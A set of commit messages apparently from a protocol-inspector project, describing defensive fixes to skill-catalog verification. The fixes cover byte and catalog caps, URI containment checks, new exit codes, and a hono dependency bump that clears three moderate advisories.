The 16 MiB safeguard protected against an honest server only, which is no safeguard. The walk now tracks bytes ACTUALLY received and stops issuing reads once the real total crosses the cap, marking the report `incomplete` and so `ok: false`. The declared prefilter is kept rather than replaced: it refuses to schedule an obviously oversized set, and the received-byte counter stops one that lied. The count happens after verifying the crossing file, so that file is still reported rather than fetched and discarded. ⚠️ This bounds the total across responses, not any single one: a first response larger than the cap is already in memory before it can be measured, which would need a streaming read the client API does not expose. Stated in the code rather than left to look closed. **A modern `skills/get` did not require `resultType`.** The "left open" question SEP-2640 states covers `ttlMs` / `cacheScope` and only those; `resultType` is base-protocol per SEP-2322 and appears in the SEP's own `skills/get` example. Requiring it of `resources/directory/read` but not here was an inconsistency in the module rather than a distinction the spec draws. Era-selected now, with the caching attributes still optional.

The pane shows an Incomplete: block with the report's own reason, and the status line reads INCOMPLETE rather than FAILED. It sits ABOVE the manifest, not beside the status line: it explains the list that follows — only the first N rows were fetched, the rest stay marked `·` because nobody looked at them — and below a 512-row manifest it would be off-screen, which is the same as absent. Found by writing the test, whose first version asserted against a 600-entry fixture and could see neither string. The test triggers truncation through the BYTE budget instead, so the manifest stays three rows and the assertions measure the pane rather than the test's viewport. **The capped self-entry was reported under the wrong URI.** A manifest may write its self-entry in a normalized-equivalent form; the fallback recorded `entry.uri`, so manifest rows keyed on the declared spelling matched nothing while the normalized extra-files filter suppressed it as already covered.

Round 15 is correct that forcing `ok: false` calls a server nonconformant for exceeding limits SEP-2640 states as SHOULD NOT, with hosts free to support more — contradicting this module's own rule that a warning never fails a report. Both hold, so: verified -> exit 0 everything checked, everything passed failed -> exit 7 a MUST was broken incomplete -> exit 8 nothing checked was wrong; the walk was cut short `ok` keeps its narrow meaning, `allSkillsVerified` is stricter than `every(r => r.ok)` since it selects the exit code, and `anySkillFailed` separates 7 from 8. A job that tolerates oversized catalogs can allow 8 and still fail on 7. **`manifestKey` still used `JSON.stringify` on the entry** — the same crash I fixed in the TUI in round 12, one file over. **Directory children were navigable outside the skill root.** A server could return `skill://other-skill/...` and clicking it left the tree, with "Up" only comparing equality against the root. Containment is checked on the normalized URI now, and an outside child renders as text rather than a link. Worth recording from the tests: `..` cannot escape the authority, so `skill://a/nested/../x.md` resolves back inside and must stay navigable. **The TUI matched report rows by raw URI**, which missed a row recorded under an equivalent spelling while `extraReportFiles` suppressed it as covered. Normalized, like the membership test beside it.

It is `selfAttempted` now, set inside the loop, and marked before the read: a row the walk reached but could not read has still been attempted, and its failure belongs to the loop rather than to a second fetch. **A preview could overwrite a verification's own bytes.** The digest verdict on screen was computed from the verification's fetch; replacing only the text let the frontmatter findings describe different bytes, recreating the mixed-fetch verdict that state exists to prevent. `entryTextVerified` marks which read produced it, and a preview no longer wins over a verification.

A mixed failed/incomplete catalog reports both counts rather than letting the louder verdict hide the quieter. - `verifySkills` sets the truncation reason only when entries were actually left unread. A file crossing the byte budget as the FINAL entry stopped nothing, and "Stopped after 3 of 3" both read as a contradiction and demoted a fully-read skill out of `verified`. - The TUI status line switches on `outcome` through a `Record` over the union, so the INCOMPLETE arm is reachable and a fourth outcome would be a type error rather than a silently missing label. - The `incomplete` doc paragraph said it makes `ok` false. It does not, deliberately — corrected, and it now names `outcome` as the thing a consumer must branch on. - The web sidebar composes in the per-URI `duplicate-name` warning, so two colliding skills are badged in the catalog instead of looking clean until one is selected. The suppressed `selfAttempted` finding is stale — fixed in round 16. The existing TUI INCOMPLETE test was passing for the wrong reason: its fixture understated every size, which is itself a mismatch, so the report was `failed` and only the old `ok`-first branch printed INCOMPLETE. It is rebuilt with honest digests and sizes, so truncation comes from the declared-size prefilter and the report is genuinely incomplete.

A server could answer every manifest row with one enormous block labelled a different URI (so `contentsFor` found nothing) or one enormous invalid-base64 blob (so `skillFileBytes` threw), bank zero against the cap, and have the walk issue up to 512 more. `responseBytes` now charges the raw response before selection or decoding; the exact decoded length is substituted when there is one, so the common path is still measured precisely. - The Directory section checked that a child was inside the skill root but not that it was a child of the directory actually being read. A grandchild, or the directory echoing itself back, passed containment and was rendered as navigable. Non-direct entries are now shown and labelled rather than linked — `resources/directory/read` answers with direct children, so an entry that is not one is itself the finding. - Containment was decided on the normalized URI while navigation sent and stored the raw one. For `skill://r/a/../templates` the first Up produced `skill://r/a/..` and a second walked into `skill://r/a`, a directory nothing had validated. Directory descent passes the normalized URI, and the Up arithmetic moved into `parentOfSkillUri`, documented as valid only on a normalized URI. The suppressed comment (two stderr lines on a failing `--verify`) is declined again: `--strict` produces the same shape in `emit-result.ts`, and clients/cli/README.md already documents it as such.

The per-skill caps bound what ONE entry can cost; nothing bounded how many entries there are, and SEP-2640 puts no ceiling on a catalog — every entry costs at least one resources/read, so a large listing made `--verify` run indefinitely and transfer unboundedly. Adds SKILL_MAX_CATALOG_SKILLS / SKILL_MAX_CATALOG_BYTES. Entries past the budget are still reported, with their static findings and an `incomplete` reason, rather than dropped or failed: they were not checked, which is neither a pass nor a verdict against the server. - `responseBytes` charged `text.length`, which counts UTF-16 code units. That undercharges non-ASCII by up to 3x, so a decoy block of emoji kept the counter under 16 MiB while the wire carried far more. Adds `utf8Length`, an allocation-free UTF-8 byte count — deliberately not TextEncoder, which would copy a payload the server chose the size of. - `checkSkillNameCollisions` was O(N^2) in both work and output for a group of N: every entry filtered all N URIs and embedded the other N-1. Duplicate names are legal and a server controls N. Now names a bounded sample and counts the rest. - `--verify` help documented exit 7 but not exit 8. The three-tier bounding (per skill, per skill on the wire, per run) is now a table in clients/cli/README.md, since the run bound is this tool's limit rather than the spec's and should not read as a conformance rule.

From 16ecde282c31b59af582cbbff8ace078fea3de49 Mon Sep 17 00:00:00 2001 From: cliffhall Date: Tue, 8 Sep 2026 22:53:50 -0400 Subject: [PATCH 173/174] fix(deps): raise hono floor to ^4.13.7, clearing three moderate advisories `npm audit` at release time reported hono <=4.13.4 against three moderate advisories: GHSA-gqvv-2mrq-wpjv (toSSG() writes outside the output dir), GHSA-g6gw-c38x-mqfc (unbounded dot-notation nesting in parseBody() can exhaust memory) and GHSA-crvj-82cr-hjcx (the query parser reads parameters after the URL fragment, creating cache-key and proxy differentials). hono is a runtime dependency of `core/`, so the fix raises the declared floor rather than only moving the lockfile: a published install resolves this range from the root manifest, and `^4.13.1` would still have let a consumer land on a vulnerable 4.13.x.

The bump belongs on `v2/main` so it flows into `main` with the rest of the milestone's work — doing it on the merge branch instead leaves `v2/main` reading a stale version and lets the bump leak into unrelated PRs (#2010). There is one version number in the repo; the clients carry none. No tag is created here: the release tag points at the merge commit on `main`.
